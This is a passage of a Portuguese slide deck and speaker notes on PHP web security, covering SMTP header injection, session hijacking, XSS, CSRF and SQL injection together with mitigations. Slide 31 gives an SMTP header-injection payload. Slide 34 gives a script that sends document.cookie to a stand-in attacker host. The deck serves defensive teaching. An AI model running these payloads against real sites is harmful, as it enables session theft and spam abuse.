  • 31. 01: From: script@site.com 02: Subject: Ataque de spammers 03: To: destin@tario.com 04: 05: Atacaram nosso site! 06: 07: . From: site@site.com Subject: Ataque de spammers To: [email_address] Subject:Mwahahaha Bcc:target@nothappy.com Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html <b>HTML Message.</b> --frog-- Content-Type:text/html;name=Security.html; Content-Transfer-Encoding:8bit Content-Disposition: attachment <u>HTML File</u> --frog-- Atacaram nosso site! . Injections - SMTP (4/4)
  • 32. Session Hijacking Session fixation (bookmark) Sedejacking (sniffing) XSS e CSRF http://en.wikipedia.org/wiki/Session_hijacking
  • 33. XSS $_POST[“msg'] = '<h4><font color=red>Este site foi hackeado!</font></h4>' Cross Site Scripting Também referenciado como CSS http://en.wikipedia.org/wiki/Cross_site_scripting
  • 34. CSRF (ou XSRF) <script> window.location= 'http://www.hacker.com?' + document.cookie </script> Cross Site Request Forgering http://en.wikipedia.org/wiki/Cross-site_request_forgery
  • 35. * I M P O R T A N T E * $_GET $_POST $_SERVER $_FILES $_ENV $_COOKIES
  • 36. Segurança é um fator cultural, é um dever, é responsabilidade de todos!
  • 37. Fim! Agradecimentos ProPHP Tempo Real WB4B/C' Sites úteis www.php.net/security www.php-security.org blog.php-security.org phpsec.org www.phpsecure.info www.programabrasil.org

Notas do Editor

  1. Falar sobre os tópicos &gt; O que é segurança; &gt; Quais os problemas comuns; &gt; Simulação de uma invasão; &gt; Quais os planos de ação; &gt; Se mantenha atualizado.
  2. Com o nome induz exploits são bugs de software ou falhas na implementação do mesmo que fazem com que o sistema possua uma quebra de segurança. Um exploit geralmente é mais associado a um erro no sistema que leva a uma falha na integridade da aplicação, porem é muito comum se referir a uma bug de sistema como um exploit.
  3. Eu coloquei aqui o MySQL pq hoje em dia ele é muito popular em sistemas de hostings, e até dei uma destacada no buffer overflow pq este tipo de falha são as mais graves, as mais famosas exploits foram sobre buffers overflows, tendo diversos exemplos como o mostrado em matrix “SSHv1 CRC32”, o MySQL na versão 3.23 tinha um que possibilitava acesso total ao servidor. Com todas estas informações na mão eu já começo a identificar o sistema do alvo e me preparar para um ataque. Ataques hacker real que não levante suspeitas custa caro e pode levar semanas, podendo conter operações de engenharia reversa e até simulação do ataque em uma rede criada pelo hacker
  4. Legal tudo isto até agora, mas eu faço tudo isto e ainda corro risco de ser invadido? Sim, mas ai estamos falando de invasão de verdade a qual está sob mira de qualquer sistema, não de um sistema especificamente feito em php Robert Morris Known online as rtm. Son of the chief scientist at the National Computer Security Center — part of the National Security Agency (NSA) — this Cornell University graduate student introduced the word &amp;quot;hacker&amp;quot; into the vernacular when he accidentally unleashed an Internet worm in 1988. Thousands of computers were infected and subsequently crashed. First exosted to computers at home - Morris&apos; father once brought home one of the original Enigma cryptographic machines from the NSA. It became a household conversation piece. As a teenager Morris had an account on the Bell Labs&apos; computer network, where early hacking forays gave him super-user status. Robert Morris is now an assistant professor at MIT, even though he released his worm virus from there in 1988 (thus disguising the fact that it was actually written at Cornell University). Vladimir Levin Claim to fame: A graduate of St. Petersburg Tekhnologichesky University, this mathematician allegedly masterminded the Russian hacker gang that tricked Citibank&apos;s computers into spitting out $10 million. Arrested by Interpol at Heathrow Airport in 1995. John Draper Claim to fame: Figured out how to make free phone calls using a plastic prize whistle he found in a cereal box. Cap&apos;n Crunch introduced generations of hackers to the glorious concept of phone &amp;quot;phreaking.&amp;quot; Mark Abene Claim to fame: He was a founding member of the Masters of Deception, Phiber Optik inspired thousands of teenagers around the country to &amp;quot;study&amp;quot; the internal workings of our nation&apos;s phone system. A federal judge attempted to &amp;quot;send a message&amp;quot; to other hackers by sentencing Phiber to a year in federal prison, but the message got garbled: Hundreds of well-wishers attended a welcome-home party in Abene&apos;s honor at an elite Manhattan Club. Soon after, New York magazine dubbed him one of the city&apos;s 100 smartest people. First used computers while hanging out in the electronics department of the A&amp;S department store in Queens, N.Y., where his mother worked. There he was introduced to the Apple II, the Timex Sinclair and the Commodore 64. The first computer he owned was a Radio Shack TRS-80 (Trash-80). He experimented by dialing patterns on a phone receiver. Abene used the receiver so frequently that it had to be bandaged with black electrical tape to keep its guts from falling out. After doing time in a Pennsylvania prison, Mark Abene worked on penetration tests for an accounting firm, and formed the (now defunct) security company, Crossbar Security.
  5. O mais prático é sempre se manter atualizado.
  6. Conceito de segurança da informação: A informação deve estar disponível para que o individuo possa acessar e/ou alterar a mesma de acordo com sua responsabilidade para com a informação. Ou seja, se eu posso receber a informação então eu devo recebe-la, se eu devo mante-la devo ter o poder de altera-la. Se a informação não tiver integridade ela não é uma informação confiável, logo ela não é segura. Explicar o conceito de segurança da informação, quem está envolvido e o pq ela é importante. Considerando o conceito de segurança da informação explicar o pq a integridade e a segurança da informação é importante. Para descrever sobre quem é responsável pela segurança apresentar a tela da história do escritório do departamento de comercio norte americano.
  7. Explicar que A questão não é referente a segurança em sites de internet Conceito de segurança da informação: A informação deve estar disponível para que o individuo possa acessar e/ou alterar a mesma de acordo com sua responsabilidade para com a informação. Ou seja, se eu posso receber a informação então eu devo recebe-la, se eu devo mante-la devo ter o poder de altera-la. Se a informação não tiver integridade ela não é uma informação confiável, logo ela não é segura. Explicar o conceito de segurança da informação, quem está envolvido e o pq ela é importante. Considerando o conceito de segurança da informação explicar o pq a integridade e a segurança da informação é importante. Para descrever sobre quem é responsável pela segurança apresentar a tela da história do escritório do departamento de comercio norte americano.
  8. Descrever a historinha e reforçar a principal idéia dela de que segurança é de responsabilidade de todos, se alguém disponibiliza uma informação inconsistente ela não é segura, esta é uma pequena coisa que pode levar a um vendaval, mas todos os problemas começam pequenos.
  9. Conceito de segurança da informação: A informação deve estar disponível para que o individuo possa acessar e/ou alterar a mesma de acordo com sua responsabilidade para com a informação. Ou seja, se eu posso receber a informação então eu devo recebe-la, se eu devo mante-la devo ter o poder de altera-la. Se a informação não tiver integridade ela não é uma informação confiável, logo ela não é segura. Explicar o conceito de segurança da informação, quem está envolvido e o pq ela é importante. Considerando o conceito de segurança da informação explicar o pq a integridade e a segurança da informação é importante. Para descrever sobre quem é responsável pela segurança apresentar a tela da história do escritório do departamento de comercio norte americano. Do rhl-sg-en.pdf 1.1.4. Standardizing Security Enterprises in every industry rely on regulations and rules that are set by standards making bodies such as the American Medical Association (AMA) or the Institute of Electrical and Electronics Engineers (IEEE). The same ideals hold true for information security. Many security consultants and vendors agree upon the standard security model known as CIA, or Confidentiality, Integrity, and Availability. This three-tiered model is a generally accepted component to assessing risks to sensitive information and establishing security policy. The following describes the CIA model in greater detail: * Confidentiality — Sensitive information must be available only to a set of pre-defined individuals. Unauthorized transmission and usage of information should be restricted. For example, confidentiality of information ensures that a customer&apos;s personal or financial information is not obtained by an unauthorized individual for malicious purposes such as identity theft or credit fraud. * Integrity — Information should not be altered in ways that render it incomplete or incorrect. Unauthorized users should be restricted from the ability to modify or destroy sensitive information. * Availability — Information should be accessible to authorized users any time that it is needed. Availability is a warranty that information can be obtained with an agreed-upon frequency and timeliness. This is often measured in terms of percentages and agreed to formally in Service Level Agreements (SLAs) used by network service providers and their enterprise clients.
  10. Funcionamento correto do sistema
  11. Injeção de comando SQL
  12. SQL Injection não é encontrado tão facilmente, não algo viável de funcionar em todo o sistema pois geralmente um comando SQL em sistema complexo é seguido por outro comando SQL que demanda do resultado do primeiro, logo quando os resultados do primeiro não são funcionais o segundo tem grande probabilidade de também não ser funcional. O grande e verdadeiro problema em um ataque de SQL injection é a carga do servido de banco de dados, se eu fizer uma pesquisa como esta apresentada em uma tabela de 100 milhões de registros irá consumir um determinado recurso do servidor e se o sistema, sistema como um todo, não estiver preparado para lidar com isto este tipo de ataque for massivo pode resultar no congelamento do sistema.
  13. Maneira esperada de input para um formulário de envio de email
  14. Injeção à partir de um formulário não preparado
  15. À esquerda o resultado de um comando SMTP sem o ataque, à direita o comando fazendo uso de Bcc e Ccc para encaminhar para outros. Mais uma vez temos o problema da carga, desta vez no servidor SMTP, entretanto este é um problema mais complexo pois o email foi realmente disparado à partir do seu servidor, o hacker por denegrir a imagem do seu site com este tipo de ataque. Para restringir o ataque devemos prevenir a existência de seqüências como “Bcc:” ou “Ccc:” de dentro de inputs provenientes de formulários que serão utilizados na parte do header da mensagem, como email ou nome do sender.
  16. É muito utilizado em sistema internos, geralmente o nível de segurança para servidores que rodam no domínio da empresa é muito baixo e possibilita que códigos de scripts (Javascript) sejam executados sem o devido monitoramento, o que leva o sistema a coletar informações na máquina local e envia-las para outros destinos XSS (Cross Site Scripting) e CSRF ( Cross-Site Request Forgeries) são quase a mesma coisa, consiste em colocar um código, geralmente javascript, num site que normalmente não se teria controle, por forma a conseguir informações ou acessos que normalmente não teríamos. O problema agrava quando utilizamos a função EVAL do PHP para construir códigos on-the-fly à partir de imputes dos usuários. Afeta muito o PHP pq o PHP controla sessões com o auxilio de cookies, com a variável PHPSESSID, tal variável encaminhada para outro usuário o PHP pode encaminhar o identificador da sessão para outro usuário que pode então ter acesso ao restante do site. Evitamos transformando o input do usuário em códigos HTMLs, em especial o caractere maior que. Evitar o uso da função EVAL e utilizar uma verificação na qual armazenamos o IP do cliente e verificamos se o sessão informada é relacionada ao IP do usuário
  17. É muito utilizado em sistema internos, geralmente o nível de segurança para servidores que rodam no domínio da empresa é muito baixo e possibilita que códigos de scripts (Javascript) sejam executados sem o devido monitoramento, o que leva o sistema a coletar informações na máquina local e envia-las para outros destinos XSS (Cross Site Scripting) e CSRF ( Cross-Site Request Forgeries) são quase a mesma coisa, consiste em colocar um código, geralmente javascript, num site que normalmente não se teria controle, por forma a conseguir informações ou acessos que normalmente não teríamos. O problema agrava quando utilizamos a função EVAL do PHP para construir códigos on-the-fly à partir de imputes dos usuários. Afeta muito o PHP pq o PHP controla sessões com o auxilio de cookies, com a variável PHPSESSID, tal variável encaminhada para outro usuário o PHP pode encaminhar o identificador da sessão para outro usuário que pode então ter acesso ao restante do site. Evitamos transformando o input do usuário em códigos HTMLs, em especial o caractere maior que. Evitar o uso da função EVAL e utilizar uma verificação na qual armazenamos o IP do cliente e verificamos se o sessão informada é relacionada ao IP do usuário
  18. É muito utilizado em sistema internos, geralmente o nível de segurança para servidores que rodam no domínio da empresa é muito baixo e possibilita que códigos de scripts (Javascript) sejam executados sem o devido monitoramento, o que leva o sistema a coletar informações na máquina local e envia-las para outros destinos XSS (Cross Site Scripting) e CSRF ( Cross-Site Request Forgeries) são quase a mesma coisa, consiste em colocar um código, geralmente javascript, num site que normalmente não se teria controle, por forma a conseguir informações ou acessos que normalmente não teríamos. O problema agrava quando utilizamos a função EVAL do PHP para construir códigos on-the-fly à partir de imputes dos usuários. Afeta muito o PHP pq o PHP controla sessões com o auxilio de cookies, com a variável PHPSESSID, tal variável encaminhada para outro usuário o PHP pode encaminhar o identificador da sessão para outro usuário que pode então ter acesso ao restante do site. Evitamos transformando o input do usuário em códigos HTMLs, em especial o caractere maior que. Evitar o uso da função EVAL e utilizar uma verificação na qual armazenamos o IP do cliente e verificamos se o sessão informada é relacionada ao IP do usuário
  19. Diferente do que as mas línguas desenformadas falam, desenvolver um aplicativo seguro em PHP é muito baba, basicamente se você tratar corretamente tudo o que o seu sistema recebe do mundo exterior e tudo o que ele apresenta para o mundo exterior você está salvo. Comentar um pouco sobre inclusão de arquivos por require, nome de arquivos abertos como .inc e outras coisas